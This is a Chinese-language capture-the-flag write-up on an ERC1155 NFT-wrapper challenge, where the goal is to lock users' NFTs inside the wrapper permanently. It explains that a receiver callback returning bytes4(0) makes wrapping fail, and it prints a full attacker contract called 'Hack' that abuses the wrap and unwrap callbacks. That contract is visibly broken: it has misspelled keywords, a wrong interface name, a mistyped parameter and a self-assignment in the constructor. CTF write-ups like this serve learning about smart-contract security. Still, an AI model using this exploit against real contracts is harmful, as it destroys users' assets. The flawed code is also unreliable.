CTF-game-asserts
题目源码:点击
题目说明:GG labs 刚刚发布了他们的 nOtApOnZi 游戏,该游戏允许将多个 WLed NFT 用作游戏内物品。为了集成多个 ERC721 代币,他们有一个包装合约 (ERC1155) 来包装 NFT,允许它们在游戏中使用。用户也可以在使用完 NFT 后解包它们。您的任务是将用户的 NFT 困在包装合约中并使他们无法挽回,从而使用户感到悲伤
这个一实现了游戏里的资产转化,首先AssetHolder合约中,就是资产的说明,具体实现有点多,这里就不深究了,AssetWrapper合约就是我们重点要说的了,他是一个包装合约,因为这个游戏使用的ERC1155代币规则,所以在进行包装的时候,要对用户进行返回代币是,就会触发一个隐藏的接受函数,
function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external override returns (bytes4) { }
|
bytes4返回值是固定的,如果就是在返回值这里动手脚了,那么包装就会不成功,资产就会被困住。
这个题要先去了解ERC1155代币标准,我自己对于这个ERC-1155的了解点击,漏洞已在这里面说明,就是一个必须注意的地方,我觉得也是ERC1155的一个弊端吧
攻击代码如下:
//SPDX-Linsence-Identifier: MIT
pragma solidity^ 0.8.17;
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol";
interface AssetWrapper { function wrap(uint256 nftId,address assetOwner,address assetAddress) external; function unwrap (address assetOwner,address assetAddress) external ; } contract Hack is ERC1155Receiver{ IAssetWrapper wrapper; address attracker; address nftAddress;
constructor(address _wrapper,address _attracker){ wrapper = IAssetWrapper(_wrapper); attracker = attracker; }
function pwn(uint256 nftId,address assetAddress) exteranl{ nftAddress = assetAddress; wrapper.wrap(nftId,address(this),assetAddress);
}
function onERC1155Received(address operator,address from,address id,uint256 value,bytes calldata) exteranl returns(bytes4){ require(msg.sender == address(wrapper), "invalid callback");
wrapper.unwrap(address(this), nftAddress); // change ownership to this contract
return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")); } function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external override returns (bytes4) { return bytes4(0); // 返回了bytes(0),与本来标准不符合。 }
}
|
即可,个人认为这道题的考察点就是对ERC1155代币规则要熟悉。